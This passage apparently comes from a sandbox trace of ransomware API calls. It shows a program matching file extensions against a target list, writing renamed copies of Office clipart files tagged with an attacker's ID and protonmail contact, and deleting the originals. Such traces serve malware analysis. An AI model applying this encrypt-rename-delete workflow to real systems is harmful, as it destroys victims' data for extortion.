(lpString1=".7z", lpString2="WMF") returned -1 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString=".dbf") returned 4 [0301.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString=".1cd") returned 4 [0301.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString=".jpg") returned 4 [0301.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString=".doc") returned 4 [0301.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString=".docx") returned 5 [0301.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.734] lstrlenW (lpString=".pdf") returned 4 [0301.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString=".xls") returned 4 [0301.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.735] lstrlenW (lpString=".xlsx") returned 5 [0301.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.735] lstrlenW (lpString=".ppt") returned 4 [0301.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.735] lstrlenW (lpString=".zip") returned 4 [0301.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.735] lstrlenW (lpString=".rar") returned 4 [0301.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString=".bz2") returned 4 [0301.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString=".7z") returned 3 [0301.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.735] lstrlenW (lpString=".dbf") returned 4 [0301.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.735] lstrlenW (lpString=".1cd") returned 4 [0301.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.735] lstrlenW (lpString=".jpg") returned 4 [0301.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.735] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.736] lstrlenW (lpString="HH02312_.WMF") returned 12 [0301.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.736] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4970) returned 1 [0301.736] CloseHandle (hObject=0x10c8) returned 1 [0301.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0301.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.737] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.737] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0301.737] GetLastError () returned 0x0 [0301.737] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x136a, lpOverlapped=0x0) returned 1 [0301.795] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1370, lpOverlapped=0x0) returned 1 [0301.796] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.796] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.796] SetEndOfFile (hFile=0x10b8) returned 1 [0301.796] CloseHandle (hObject=0x10b8) returned 1 [0301.796] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.796] SetEndOfFile (hFile=0x10c8) returned 1 [0301.797] CloseHandle (hObject=0x10c8) returned 1 [0301.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0301.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.921] lstrlenW (lpString=".doc") returned 4 [0301.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString=".docx") returned 5 [0301.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.921] lstrlenW (lpString=".pdf") returned 4 [0301.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString=".xls") returned 4 [0301.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.921] lstrlenW (lpString=".xlsx") returned 5 [0301.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.921] lstrlenW (lpString=".ppt") returned 4 [0301.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.921] lstrlenW (lpString=".zip") returned 4 [0301.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.921] lstrlenW (lpString=".rar") returned 4 [0301.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString=".bz2") returned 4 [0301.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString=".7z") returned 3 [0301.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.921] lstrlenW (lpString=".dbf") returned 4 [0301.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.921] lstrlenW (lpString=".1cd") returned 4 [0301.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.921] lstrlenW (lpString=".jpg") returned 4 [0301.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.922] lstrlenW (lpString=".doc") returned 4 [0301.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString=".docx") returned 5 [0301.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.922] lstrlenW (lpString=".pdf") returned 4 [0301.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString=".xls") returned 4 [0301.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.922] lstrlenW (lpString=".xlsx") returned 5 [0301.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.922] lstrlenW (lpString=".ppt") returned 4 [0301.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.922] lstrlenW (lpString=".zip") returned 4 [0301.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.922] lstrlenW (lpString=".rar") returned 4 [0301.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString=".bz2") returned 4 [0301.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.922] lstrlenW (lpString=".7z") returned 3 [0301.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.922] lstrlenW (lpString=".dbf") returned 4 [0301.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.923] lstrlenW (lpString=".1cd") returned 4 [0301.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0301.923] lstrlenW (lpString=".jpg") returned 4 [0301.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.923] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.923] lstrlenW (lpString="HM00005_.WMF") returned 12 [0301.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.923] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=23300) returned 1 [0301.923] CloseHandle (hObject=0x10e0) returned 1 [0301.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0301.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.924] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.924] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0301.924] GetLastError () returned 0x0 [0301.924] ReadFile (in: hFile=0x10e0, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0302.002] WriteFile (in: hFile=0x1084, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0302.003] ReadFile (in: hFile=0x10e0, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.003] WriteFile (in: hFile=0x1084, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.003] SetEndOfFile (hFile=0x1084) returned 1 [0302.003] CloseHandle (hObject=0x1084) returned 1 [0302.003] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.003] SetEndOfFile (hFile=0x10e0) returned 1 [0302.004] CloseHandle (hObject=0x10e0) returned 1 [0302.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0302.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.017] lstrlenW (lpString=".doc") returned 4 [0303.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.017] lstrlenW (lpString=".docx") returned 5 [0303.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.017] lstrlenW (lpString=".pdf") returned 4 [0303.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.017] lstrlenW (lpString=".xls") returned 4 [0303.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.017] lstrlenW (lpString=".xlsx") returned 5 [0303.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.017] lstrlenW (lpString=".ppt") returned 4 [0303.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.017] lstrlenW (lpString=".zip") returned 4 [0303.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.017] lstrlenW (lpString=".rar") returned 4 [0303.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.017] lstrlenW (lpString=".bz2") returned 4 [0303.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.017] lstrlenW (lpString=".7z") returned 3 [0303.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.018] lstrlenW (lpString=".dbf") returned 4 [0303.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.018] lstrlenW (lpString=".1cd") returned 4 [0303.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.018] lstrlenW (lpString=".jpg") returned 4 [0303.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.018] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.018] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.019] GetLastError () returned 0x0 [0303.019] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xb10, lpOverlapped=0x0) returned 1 [0303.124] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xb20, lpOverlapped=0x0) returned 1 [0303.125] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.125] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.125] SetEndOfFile (hFile=0x10e0) returned 1 [0303.125] CloseHandle (hObject=0x10e0) returned 1 [0303.126] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.126] SetEndOfFile (hFile=0x10bc) returned 1 [0303.126] CloseHandle (hObject=0x10bc) returned 1 [0303.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0303.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.127] lstrlenW (lpString=".doc") returned 4 [0303.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.127] lstrlenW (lpString=".docx") returned 5 [0303.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.127] lstrlenW (lpString=".pdf") returned 4 [0303.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.127] lstrlenW (lpString=".xls") returned 4 [0303.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.128] lstrlenW (lpString=".xlsx") returned 5 [0303.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.128] lstrlenW (lpString=".ppt") returned 4 [0303.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.128] lstrlenW (lpString=".zip") returned 4 [0303.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.128] lstrlenW (lpString=".rar") returned 4 [0303.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.128] lstrlenW (lpString=".bz2") returned 4 [0303.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.128] lstrlenW (lpString=".7z") returned 3 [0303.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.128] lstrlenW (lpString=".dbf") returned 4 [0303.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.128] lstrlenW (lpString=".1cd") returned 4 [0303.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.128] lstrlenW (lpString=".jpg") returned 4 [0303.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.129] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.129] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0303.129] GetLastError () returned 0x0 [0303.129] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x318, lpOverlapped=0x0) returned 1 [0303.439] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x320, lpOverlapped=0x0) returned 1 [0303.440] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.440] WriteFile (in: hFile=0x10e0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.440] SetEndOfFile (hFile=0x10e0) returned 1 [0303.440] CloseHandle (hObject=0x10e0) returned 1 [0303.440] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.440] SetEndOfFile (hFile=0x10bc) returned 1 [0303.441] CloseHandle (hObject=0x10bc) returned 1 [0303.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0303.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0303.442] lstrlenW (lpString=".doc") returned 4 [0303.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.442] lstrlenW (lpString=".docx") returned 5 [0303.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.442] lstrlenW (lpString=".pdf") returned 4 [0303.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.442] lstrlenW 